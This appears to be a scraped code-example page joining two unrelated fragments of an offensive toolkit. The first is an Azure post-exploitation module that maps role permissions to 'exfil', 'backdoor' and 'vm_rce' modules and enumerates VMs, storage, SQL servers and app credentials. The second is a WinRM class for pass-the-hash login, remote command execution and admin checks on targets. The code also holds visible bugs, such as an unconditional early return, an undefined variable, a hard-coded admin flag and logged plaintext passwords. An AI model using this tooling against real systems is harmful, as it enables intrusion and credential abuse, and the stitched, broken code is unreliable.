            if ("Microsoft.Authorization/*/read" in perm):
                self.logger.highlight(
                    "Current user has permission to read all authorizations - consider running the priv domain enum module"
                )

            if ("Microsoft.Compute/*" in perm):
                self.logger.highlight(
                    "Current user has permission to run all operations for all resource types - consider using the exfil modules"
                )
            if ("Microsoft.Compute/*/read" in perm):
                self.logger.highlight(
                    "Current user has permission to read all compute related resources - consider using the various 'list' modules"
                )

            if ("Microsoft.Support/*" in perm):
                self.logger.highlight(
                    "Current user has permission to issue and submit support tickets"
                )

            if ("Microsoft.Resources/*" in perm):
                self.logger.highlight(
                    "Current user has permission to run all Microsoft.Resources related commands"
                )
            elif ("Microsoft.Resources/deployments/*" in perm):
                self.logger.highlight(
                    "Current user has permission to run all deployment related commands"
                )
            elif ("Microsoft.Resources/deployments/subscriptions/*" in perm):
                self.logger.highlight(
                    "Current user has permission to run all subscription related commands"
                )

            if ("Microsoft.Network/*" in perm):
                self.logger.highlight(
                    "Current user has permission to run all networking related commands - consider running the net modules"
                )
            elif ("Microsoft.Network/networkSecurityGroups/*" in perm):
                self.logger.highlight(
                    "Current user has permission to run all nsg related commands - consider running the nsg backdoor module"
                )
            elif ("Microsoft.Network/networkSecurityGroups/join/action"
                  in perm):
                self.logger.highlight(
                    "Current user has permission to join a network security group "
                )

            if ("Microsoft.Compute/virtualMachines/*" in perm):
                self.logger.highlight(
                    "Current user has permission to run virtual machine commands - consider running the various vm modules "
                )
            elif ("Microsoft.Compute/virtualMachines/runCommand/action" in perm
                  or "Microsoft.Compute/virtualMachines/runCommand/*" in perm):
                self.logger.highlight(
                    "Current user has permission to run the runCommand virtual machine command - consider running the vm_rce "
                )

            if ("Microsoft.Compute/virtualMachinesScaleSets/*" in perm):
                self.logger.highlight(
                    "Current user has permission to run virtual machine scale set commands - consider running the various vmss modules "
                )
            elif ("Microsoft.Compute/virtualMachinesScaleSets/runCommand/action"
                  in perm
                  or "Microsoft.Compute/virtualMachines/runCommand/*" in perm):
                self.logger.highlight(
                    "Current user has permission to run the runCommand virtual machine scale set command - consider running the vmss_rce "
                )

            if ("Microsoft.Storage/*" in perm
                    or "Microsoft.Storage/storageAccounts/*" in perm):
                self.logger.highlight(
                    "Current user has permission to run all storage account commands - consider running the various stg modules "
                )
            elif ("Microsoft.Storage/storageAccounts/blobServices/containers/*"
                  in perm):
                self.logger.highlight(
                    "Current user has permissions to run all storage account container commands - consider running the various stg modules "
                )
            elif ("Microsoft.Storage/storageAccounts/listKeys/action" in perm):
                self.logger.highlight(
                    "Current user has permission to read storage account keys - consider running the stg blob scan/download modules "
                )

            if ("Microsoft.Sql/*" in perm):
                self.logger.highlight(
                    "Current user has permission to run all sql commands - consider running the various sql modules "
                )
            elif ("Microsoft.Sql/servers/*" in perm):
                self.logger.highlight(
                    "Current user has permission to run all sql server commands - consider running the sql server list or the sql backdoor firewall modules "
                )
            elif ("Microsoft.Sql/servers/databases/*" in perm):
                self.logger.highlight(
                    "Current user has permission to run all sql database commands - consider running the sql db list "
                )

    def privs(self):
        # Grab user UPN
        logging.debug("Starting privs")
        if self.args.privs == '':
            upn_resp = subprocess.run([
                'az', 'ad', 'signed-in-user', 'show', '--query',
                '{upn:userPrincipalName}'
            ],
                                      stdout=subprocess.PIPE,
                                      stderr=subprocess.PIPE)
        else:
            upn_resp = subprocess.run([
                'az', 'ad', 'user', 'show', '--id', self.args.privs, '--query',
                '{upn:userPrincipalName}'
            ],
                                      stdout=subprocess.PIPE,
                                      stderr=subprocess.PIPE)

        try:
            upn_json_obj = json.loads(upn_resp.stdout.decode('utf-8'))
            upn = upn_json_obj['upn']
            logging.debug("upn {}".format(upn))
        except:
            self.logger.error("Current user has no subscriptions")
            return

        # GetCurrent users roles
        role_resp = subprocess.run([
            'az', 'role', 'assignment', 'list', '--assignee', upn, '--query',
            '[].{roleName:roleDefinitionName}'
        ],
                                   stdout=subprocess.PIPE)
        try:
            role_json_obj = json.loads(role_resp.stdout.decode('utf-8'))
        except:
            self.logger.error("Current user has no subscriptions")
            return

        role_list = []
        for role in role_json_obj:
            role_list.append(role["roleName"])

        if (len(role_list) == 0):
            self.logger.error("No roles found")
        return

        for role in role_list:
            #print(role.upper())
            role_show = subprocess.run([
                'az', 'role', 'definition', 'list', '--name', role, '--query',
                '[].{actions:permissions[].actions, dataActions:permissions[].dataActions, notActions:permissions[].notActions, notDataActions:permissions[].NotDataActions}'
            ],
                                       stdout=subprocess.PIPE)
            role_show_json = json.loads(role_show.stdout.decode('utf-8'))
            pprint.pprint(role_show_json)

###############################################################################

######  #######  #####  ####### #     # ######   #####  #######
#     # #       #     # #     # #     # #     # #     # #
#     # #       #       #     # #     # #     # #       #
######  #####    #####  #     # #     # ######  #       #####
#   #   #             # #     # #     # #   #   #       #
#    #  #       #     # #     # #     # #    #  #     # #
#     # #######  #####  #######  #####  #     #  #####  #######

###############################################################################
###############################################################################
#
#
#
#
###############################################################################

    def rgroups(self):
        rgroup = subprocess.run([
            'az', 'group', 'list', '--query',
            '[].{name:name, location: location, id: id}'
        ],
                                stdout=subprocess.PIPE,
                                stderr=subprocess.PIPE)
        try:
            rgroup_json = json.loads(rgroup.stdout.decode('utf-8'))
        except:
            self.logger.error("Current user has no subscriptions")
            return
        pprint.pprint(rgroup_json)

###############################################################################

#####      #####     #
#     #    #     #    #
#          #     #    #
#####     #     #    #
#    #   # #    #
#     #    #    #     #
#####      #### #    #######

###############################################################################
###############################################################################
#
#
#
#
###############################################################################

    def sql_list(self):

        # Get server list
        sql_info = subprocess.run([
            'az', 'sql', 'server', 'list', '--query',
            '[].{fqdn:fullyQualifiedDomainName, name:name, rgrp: resourceGroup, admin_username:administratorLogin} '
        ],
                                  stdout=subprocess.PIPE,
                                  stderr=subprocess.PIPE)
        try:
            sql_info_json = json.loads(sql_info.stdout.decode('utf-8'))
        except:
            self.logger.error("Current user has no SQL subscriptions")
            return
        pprint.pprint(sql_info_json)

    def sql_db_list(self):

        # Get server list
        sql_info = subprocess.run([
            'az', 'sql', 'server', 'list', '--query',
            '[].{name:name, rgrp: resourceGroup} '
        ],
                                  stdout=subprocess.PIPE,
                                  stderr=subprocess.PIPE)
        try:
            sql_info_json = json.loads(sql_info.stdout.decode('utf-8'))
        except:
            self.logger.error("Current user has no SQL subscriptions")
            return

        servers = []
        rgrps = []
        for info in sql_info_json:
            servers.append(info['name'])
            rgrps.append(info['rgrp'])
            pprint.pprint(rgroup_json)

        # Get DBs
        for i in range(len(servers)):
            sql_info = subprocess.run([
                'az', 'sql', 'db', 'list', '--server', servers[i],
                '--resource-group', rgrps[i], '--query',
                '[].{collation:collation, name:name, location:location, dbId:databaseId}'
            ],
                                      stdout=subprocess.PIPE)
            sql_info_json = json.loads(sql_info.stdout.decode('utf-8'))
            print(servers[i], "\n")
            pprint.pprint(sql_info_json)

###############################################################################

#####  ####### ####### ######     #     #####  #######
#     #    #    #     # #     #   # #   #     # #
#          #    #     # #     #  #   #  #       #
#####     #    #     # ######  #     # #  #### #####
#    #    #     # #   #   ####### #     # #
#     #    #    #     # #    #  #     # #     # #
#####     #    ####### #     # #     #  #####  #######

###############################################################################
###############################################################################
#
#
#
#
###############################################################################

    def storage_list(self):

        stg_list = subprocess.run([
            'az', 'storage', 'account', 'list', '--query',
            '[].{resource_group:resourceGroup, storage_types:primaryEndpoints}'
        ],
                                  stdout=subprocess.PIPE,
                                  stderr=subprocess.PIPE)
        try:
            stg_list_json = json.loads(stg_list.stdout.decode('utf-8'))
        except:
            self.logger.error("Current user has no Storage subscriptions")
            return
        pprint.pprint(stg_list_json)

###############################################################################

#     #          #     #
#     #          ##   ##
#     #          # # # #
#     #          #  #  #
#   #           #     #
# #            #     #
#             #     #

###############################################################################
###############################################################################
#
#
#
#
###############################################################################

    def vm_list(self):

        # Get all vms in subscription
        if self.args.vm_list == '':
            vm_list = subprocess.run([
                'az', 'vm', 'list', '--query',
                '[].{name:name,os:storageProfile.osDisk.osType, username:osProfile.adminUsername, vm_size:hardwareProfile.vmSize, resource_group: resourceGroup}'
            ],
                                     stdout=subprocess.PIPE,
                                     stderr=subprocess.PIPE)
            try:
                vm_list_json = json.loads(vm_list.stdout.decode('utf-8'))
            except:
                self.logger.error("Current user has no VM subscriptions")
                return

            vm_iplist = subprocess.run([
                'az', 'vm', 'list-ip-addresses', '--query',
                '[].{name:virtualMachine.name, privateIp:virtualMachine.network.privateIpAddresses, publicIp:virtualMachine.network.publicIpAddresses[].ipAddress}'
            ],
                                       stdout=subprocess.PIPE)
            try:
                vm_iplist_json = json.loads(vm_iplist.stdout.decode('utf-8'))
            except:
                self.logger.error("Current user has no VM subscriptions")
                return

        else:  # Get all vms in specified resource group
            vm_list = subprocess.run([
                'az', 'vm', 'list', '-g', self.args.vm_list, '--query',
                '[].{name:name,os:storageProfile.osDisk.osType, username:osProfile.adminUsername, vm_size:hardwareProfile.vmSize, resource_group: resourceGroup}'
            ],
                                     stdout=subprocess.PIPE)
            try:
                vm_list_json = json.loads(vm_list.stdout.decode('utf-8'))
            except:
                self.logger.error("Current user has no VM subscriptions")
                return

            vm_iplist = subprocess.run([
                'az', 'vm', 'list-ip-addresses', '-g', self.args.vm_list,
                '--query',
                '[].{name:virtualMachine.name, privateIp:virtualMachine.network.privateIpAddresses, publicIp:virtualMachine.network.publicIpAddresses[].ipAddress}'
            ],
                                       stdout=subprocess.PIPE)
            try:
                vm_iplist_json = json.loads(vm_iplist.stdout.decode('utf-8'))
            except:
                self.logger.error("Current user has no VM subscriptions")
                return

        for i in range(len(vm_list_json)):
            vm_list_json[i].update(vm_iplist_json[i])

        pprint.pprint(vm_list_json)

    def vmss_list(self):

        # Get list of vmss
        vmss_list = subprocess.run([
            'az', 'vmss', 'list', '--query',
            '[].{name:name, rgrp:resourceGroup}'
        ],
                                   stdout=subprocess.PIPE,
                                   stderr=subprocess.PIPE)
        try:
            vmss_list_json = json.loads(vmss_list.stdout.decode('utf-8'))
        except:
            self.logger.error("Current user has no VM subscriptions")
            return

        for i in range(len(vmss_list_json)):
            # Get vmss info
            vmss_list = subprocess.run([
                'az', 'vmss', 'list', '--resource-group',
                vmss_list_json[i]['rgrp'], '--query',
                '[].{name:name, vmss_size:sku.name, os_distro:virtualMachineProfile.storageProfile.imageReference.offer,os_version:virtualMachineProfile.storageProfile.imageReference.sku, username:virtualMachineProfile.osProfile.adminUsername, rgrp: resourceGroup}'
            ],
                                       stdout=subprocess.PIPE)
            vmss_list_json = json.loads(vmss_list.stdout.decode('utf-8'))
            pprint.pprint(vmss_list_json[i])
            # Get vmss IP
            vmss_iplist = subprocess.run([
                'az', 'vmss', 'list-instance-public-ips', '--resource-group',
                vmss_list_json[i]['rgrp'], '--name', vmss_list_json[i]['name'],
                '--query', '[].{ipAddress:ipAddress}'
            ],
                                         stdout=subprocess.PIPE)
            vmss_iplist_json = json.loads(vmss_iplist.stdout.decode('utf-8'))
            pprint.pprint(vmss_iplist_json)

###############################################################################

#####     ######     #     #
#     #    #     #    ##    #
#          #     #    # #   #
#####     ######     #  #  #
#    #          #   # #
#     #    #          #    ##
#####     #          #     #

###############################################################################
###############################################################################
#
#
#
#
###############################################################################

    def spn_list(self):

        stg_list = subprocess.run([
            'az', 'ad', 'sp', 'list', '--all', '--query',
            '[].{appDisplayName:appDisplayName, appId:appId}'
        ],
                                  stdout=subprocess.PIPE,
                                  stderr=subprocess.PIPE)
        try:
            stg_list_json = json.loads(stg_list.stdout.decode('utf-8'))
        except:
            self.logger.error("Current user has no VM subscriptions")
            return
        pprint.pprint(stg_list_json)

###############################################################################

#       ######     ######
# #      #     #    #     #
#   #     #     #    #     #
#     #    ######     ######
#######    #          #
#     #    #          #
#     #    #          #

###############################################################################
###############################################################################
#
#
#
#
###############################################################################

    def app_list(self):

        #app_list = subprocess.run(['az','ad', 'app', 'list', '--all', '--query', '[].{DisplayName:displayName, appId:appId, homepage:homepage}'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        app_list = subprocess.run(['az', 'ad', 'app', 'list', '--all'],
                                  stdout=subprocess.PIPE,
                                  stderr=subprocess.PIPE)
        try:
            app_list_json = json.loads(app_list.stdout.decode('utf-8'))
        except:
            self.logger.error("Current user has no VM subscriptions")
            return

        for app in app_list_json:
            self.db.add_app(str(app['displayName']), str(app['appId']),
                            str(app['homepage']), str(app['objectId']),
                            str(app['allowGuestsSignIn']),
                            str(app['keyCredentials']),
                            str(app['passwordCredentials']),
                            str(app['wwwHomepage']))

        pprint.pprint(app_list_json)
Exemple #15
0
class winrm(connection):
    def __init__(self, args, db, host):
        self.domain = None
        self.port = ' '
        self.server_os = None
        self.os_arch = 0
        self.hash = None
        self.lmhash = ''
        self.nthash = ''
        self.remote_ops = None
        self.bootkey = None
        self.output_filename = None
        self.smbv = None
        self.signing = False
        self.smb_share_name = smb_share_name
        self.debug = args.debug
        self.dc_ip = args.domaincontroller
        self.domain_dns = None

        connection.__init__(self, args, db, host)

    @staticmethod
    def proto_args(parser, std_parser, module_parser):
        winrm_parser = parser.add_parser('winrm',
                                         help="own stuff using WINRM",
                                         parents=[std_parser, module_parser])
        winrm_parser.add_argument(
            "-H",
            '--hash',
            metavar="HASH",
            dest='hash',
            nargs='+',
            default=[],
            help='NTLM hash(es) or file(s) containing NTLM hashes')

        winrm_parser.add_argument("-smbport",
                                  "--smbport",
                                  type=int,
                                  choices={445, 139},
                                  default=445,
                                  help="SMB port (default: 445)")
        winrm_parser.add_argument("-dc",
                                  '--domaincontroller',
                                  type=str,
                                  default='',
                                  help='the IP of a domain controller')

        auth_group = winrm_parser.add_mutually_exclusive_group()
        auth_group.add_argument("-d",
                                metavar="DOMAIN",
                                dest='domain',
                                type=str,
                                default=None,
                                help="domain to authenticate to")
        auth_group.add_argument("--local-auth",
                                action='store_true',
                                help='authenticate locally to each target')

        command_group = winrm_parser.add_argument_group(
            "Command Execution", "Options for executing commands")
        command_group.add_argument('--no-output',
                                   action='store_true',
                                   help='do not retrieve command output')
        command_group.add_argument("-x",
                                   metavar="COMMAND",
                                   dest='execute',
                                   help="execute the specified command")
        command_group.add_argument(
            "-X",
            metavar="PS_COMMAND",
            dest='ps_execute',
            help='execute the specified PowerShell command')

        return parser

    def proto_logger(self):
        self.logger = CMXLogAdapter(
            extra={
                'protocol': 'WinRM',
                'host': ('->' + self.host),
                'port': self.port,
                'hostname': self.hostname
            })
        #self.options.logger = self.logger

    def enum_host_info(self):
        """Fingerprint host via smb connection.

        Grabs info prior to unauthenticated
        """
        # self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]

        try:
            self.smbconn.login('', '')
            logging.debug("Null login?")
            self.logger.success('Null login allowed')
        except impacket.smbconnection.SessionError as e:
            if "STATUS_ACCESS_DENIED" in str(e):
                logging.debug("Null login not allowed")
                pass

        self.domain = self.smbconn.getServerDomain()  # OCEAN
        self.hostname = self.smbconn.getServerName()  # WIN7-PC
        self.server_os = self.smbconn.getServerOS()  # WIndows 6.1 Build 7601
        self.signing = self.smbconn.isSigningRequired()  # True/false
        self.os_arch = self.get_os_arch()  # 64
        self.domain_dns = self.smbconn.getServerDNSDomainName()  # ocean.depth

        self.logger.hostname = self.hostname
        dialect = self.smbconn.getDialect()

        # print (self.conn.getServerDomain())            # OCEAN
        # print (self.conn.getServerName())              # WIN7-PC
        # print (self.conn.getServerOS())                # WIndows 6.1 Build 7601
        # print (self.conn.isSigningRequired())          # True
        # print (self.get_os_arch())                     # 64
        # print (self.conn.getDialect())                 # 528
        # print (self.conn.getRemoteHost())              # IPaddress
        # print (self.conn.getRemoteName())              # win7-pc
        # print (self.conn.getServerDNSDomainName())     # ocean.depth
        # print (self.conn.getServerOSMajor())           # 6
        # print (self.conn.getServerOSMinor())           # 1
        # print (self.conn.getServerOSBuild())           # 7601
        # print (self.conn.doesSupportNTLMv2())          # True
        # print (self.conn.isLoginRequired())            # True

        if dialect == impacket.smb.SMB_DIALECT:
            self.smbv = '1'
            logging.debug("SMBv1 dialect used")
        elif dialect == impacket.smb3structs.SMB2_DIALECT_002:
            self.smbv = '2.0'
            logging.debug("SMBv2.0 dialect used")
        elif dialect == impacket.smb3structs.SMB2_DIALECT_21:
            self.smbv = '2.1'
            logging.debug("SMBv2.1 dialect used")
        elif dialect == impacket.smb3structs.SMB2_DIALECT_30:
            self.smbv = '3.0'
            logging.debug("SMBv3.0 dialect used")
        elif dialect == impacket.smb3structs.SMB2_DIALECT_302:
            self.smbv = '3.0.2'
            logging.debug("SMBv3.0.2 dialect used")
        elif dialect == impacket.smb3structs.SMB2_DIALECT_311:
            self.smbv = '3.1.1'
            logging.debug("SMBv3.1.1 dialect used")
        else:
            self.smbv = '??'
            logging.debug("SMB version couldnt be determined?")

        # Get the DC if we arent local-auth and didnt specify
        if not self.args.local_auth and self.dc_ip == '':
            self.dc_ip = self.smbconn.getServerDNSDomainName()

        if self.args.domain:
            self.domain = self.args.domain

        if not self.domain:
            self.domain = self.hostname

        self.db.add_computer(self.host, self.hostname, self.domain,
                             self.server_os)

        try:
            ''' DC's seem to want us to logoff first, windows workstations sometimes reset the connection
            '''
            self.smbconn.logoff()
        except:
            pass

        if self.args.local_auth:
            self.domain = self.hostname

        self.output_filename = '{}/{}_{}_{}'.format(
            cfg.LOGS_PATH, self.hostname, self.host,
            datetime.now().strftime("%Y-%m-%d_%H%M%S"))
        #Re-connect since we logged off
        self.create_conn_obj()

    def print_host_info(self):
        """Format help for host info."""
        self.logger.announce("{}{} (domain:{}) (signing:{}) (SMBv:{})".format(
            self.server_os,
            ' x{}'.format(self.os_arch) if self.os_arch else '', self.domain,
            self.signing, self.smbv))
        self.logger.announce('Targetting: {}'.format(self.endpoint))

    def create_smbv1_conn(self):
        """Setup connection using smbv1."""
        try:
            logging.debug('Attempting SMBv1 connection to {}'.format(
                self.host))
            self.smbconn = impacket.smbconnection.SMBConnection(
                self.host, self.host, None, self.args.smbport
            )  #, preferredDialect=impacket.smb.SMB_DIALECT)
        except socket.error as e:
            if str(e).find('Connection reset by peer') != -1:
                logging.debug(
                    'Connection was reset by target. SMBv1 might be disabled on {}'
                    .format(self.host))
            elif str(e).find('No route to host') != -1:
                logging.debug(
                    'Could not connect to {}, no route to host. Can you ping it?'
                    .format(self.host))
            else:
                logging.debug(
                    'Something went wrong, Could not connect to {}, tried smbv1'
                    .format(self.host))
            return False
        except Exception as e:
            logging.debug('Error creating SMBv1 connection to {}: {}'.format(
                self.host, e))
            return False
        logging.debug('Connected using SMBv1 to: {}'.format(self.host))
        return True

    def create_smbv3_conn(self):
        """Setup connection using smbv3.

        Used for both SMBv2 and SMBv3
        """
        try:
            logging.debug('Attempting SMBv3 connection to {}'.format(
                self.host))
            self.smbconn = impacket.smbconnection.SMBConnection(
                self.host, self.host, None, self.args.smbport)
        except socket.error as e:
            if str(e).find('No route to host') != -1:
                logging.debug('No route to host {}'.format(self.host))
                self.logger.announce(
                    'Could not connect to {}, no route to host. Can you ping it?'
                    .format(self.host))
            else:
                logging.debug(
                    'Something went wrong, Could not connect to {}, tried smbv3'
                    .format(self.host))
            return False
        except Exception as e:
            logging.debug('Error creating SMBv3 connection to {}: {}'.format(
                self.host, e))
            return False
        logging.debug('Connected using SMBv3 to: {}'.format(self.host))
        return True

    def create_conn_obj(self):

        #first figure out winrm endpoint -- could mabye just make them choose with/without SSL

        endpoints = [
            'https://{}:5986/wsman'.format(self.host),
            'http://{}:5985/wsman'.format(self.host)
        ]

        for url in endpoints:
            try:
                requests.get(url, verify=False, timeout=10)
                self.endpoint = url
                if self.endpoint.startswith('https://'):
                    self.port = 5986
                else:
                    self.port = 5985

                self.logger.extra['port'] = self.port

            except Exception as e:
                if 'Max retries exceeded with url' not in str(e):
                    logging.debug('Error in WinRM create_conn_obj:' + str(e))

        #then we build an smb connection to grab some hostinfo -
        #     - could maybe not do this and use output from winrm connection to get some info?
        if self.create_smbv1_conn():
            return True
        elif self.create_smbv3_conn():
            return True

        return False

###############################################################################

#       #######  #####  ### #     #
#       #     # #     #  #  ##    #
#       #     # #        #  # #   #
#       #     # #  ####  #  #  #  #
#       #     # #     #  #  #   # #
#       #     # #     #  #  #    ##
####### #######  #####  ### #     #

###############################################################################

    def plaintext_login(self, domain, username, password):

        try:

            # pywinrm session class defined here :
            #      https://github.com/diyan/pywinrm/blob/master/winrm/__init__.py
            self.conn = pywinrm.Session(self.host,
                                        auth=('{}\\{}'.format(
                                            domain, username), password),
                                        transport='ntlm',
                                        server_cert_validation='ignore')
            # session = winrm.Session(host, auth=('{}@{}'.format(user,domain), password), transport='ntlm')

            # need to remove smb connection stuff and only use winrm
            self.smbconn.login(username, password, domain)
            self.password = password
            self.username = username
            self.domain = domain

            # using smb method until the warnings get fixed for urllib, just to cut down on warnings from execute
            self.admin_privs = self.check_if_admin()
            #r = self.conn.run_cmd('hostname')
            # self.parse_output(r)

            self.admin_privs = True
            self.logger.success('{}\\{}:{} {}'.format(
                domain, username, password,
                highlight('({})'.format(cfg.pwn3d_label) if self.
                          admin_privs else '')))

            return True

        except Exception as e:
            self.logger.error('{}\\{}:{} "{}"'.format(domain, username,
                                                      password, e))

            return False

###############################################################################

####### #     # #######  #####  #     # ####### #######
#        #   #  #       #     # #     #    #    #
#         # #   #       #       #     #    #    #
#####      #    #####   #       #     #    #    #####
#         # #   #       #       #     #    #    #
#        #   #  #       #     # #     #    #    #
####### #     # #######  #####   #####     #    #######

###############################################################################

    def execute(self, payload=None, get_output=False):
        # run_cmd returns a Response() object
        # Response() object defined here: https://github.com/diyan/pywinrm/blob/master/winrm/__init__.py
        r = self.conn.run_cmd(self.args.execute)
        self.logger.success('Executed command')

        # result = session.run_cmd('ipconfig', ['/all']) # To run command in cmd
        # result = session.run_ps('Get-Acl') # To run Powershell block
        self.parse_output(r)

    def ps_execute(self, payload=None, get_output=False):
        r = self.conn.run_ps(self.args.ps_execute)
        self.logger.success('Executed command')
        self.parse_output(r)

####################################################################################

#     #    #######    #          ######     #######    ######      #####
#     #    #          #          #     #    #          #     #    #     #
#     #    #          #          #     #    #          #     #    #
#######    #####      #          ######     #####      ######      #####
#     #    #          #          #          #          #   #            #
#     #    #          #          #          #          #    #     #     #
#     #    #######    #######    #          #######    #     #     #####

####################################################################################

    def parse_output(self, response_obj):
        if response_obj.status_code == 0:
            buf = StringIO(str(response_obj.std_out, 'UTF-8')).readlines()
            for line in buf:
                self.logger.highlight(line)
            return response_obj.std_out
        else:
            buf = StringIO(str(response_obj.std_err, 'UTF-8')).readlines()
            for line in buf:
                self.logger.highlight(line)
            return response_obj.std_err

    def check_if_admin(self):
        """Check for localadmin privs.

        Checked by view all services for sc_manager_all_access
        Returns:
            True if localadmin
            False if not localadmin
        """
        try:
            rpctransport = impacket.dcerpc.v5.transport.SMBTransport(
                self.host, 445, r'\svcctl', smb_connection=self.smbconn)
            dce = rpctransport.get_dce_rpc()
            dce.connect()
            try:
                logging.debug('localadmin Binding start')
                dce.bind(impacket.dcerpc.v5.scmr.MSRPC_UUID_SCMR)
                try:
                    # 0xF003F - SC_MANAGER_ALL_ACCESS
                    # this val comes from https://docs.microsoft.com/en-us/windows/win32/services/service-security-and-access-rights
                    # https://github.com/SecureAuthCorp/impacket/blob/master/impacket/dcerpc/v5/scmr.py

                    logging.debug('Verify localadmin via ServicesActive...')
                    ans = impacket.dcerpc.v5.scmr.hROpenSCManagerW(
                        dce, '{}\x00'.format(self.hostname),
                        'ServicesActive\x00', 0xF003F)
                    logging.debug('pewpewpewPwned baby')
                    dce.disconnect()
                    return True

                except impacket.dcerpc.v5.rpcrt.DCERPCException:
                    logging.debug('a {}'.format(str(e)))
                    dce.disconnect()
                    pass
            except impacket.dcerpc.v5.rpcrt.DCERPCException as e:
                logging.debug('b {}'.format(str(e)))
                dce.disconnect()
                return False
        except Exception:
            logging.debug('Something went wrong ... Not localadmin :( ')
            dce.disconnect()
            return False

        dce.disconnect()
        return False

    def get_os_arch(self):
        """Identify OS architecture.

        Returns either 32 or 64
        """
        try:
            stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
            rpctransport = impacket.dcerpc.v5.transport.DCERPCTransportFactory(
                stringBinding)
            rpctransport.set_connect_timeout(5)
            dce = rpctransport.get_dce_rpc()
            dce.connect()
            try:
                dce.bind(
                    impacket.dcerpc.v5.epm.MSRPC_UUID_PORTMAP,
                    transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36',
                                     '1.0'))
            except impacket.dcerpc.v5.rpcrt.DCERPCException as e:
                if str(e).find('syntaxes_not_supported') >= 0:
                    dce.disconnect()
                    return 32
            else:
                dce.disconnect()
                return 64

        except Exception as e:
            logging.debug(
                'Error retrieving os arch of {}: {} using x64'.format(
                    self.host, str(e)))

        try:
            dce.disconnect()
        except impacket.dcerpc.v5.rpcrt.DCERPCException as e:
            pass

        return 64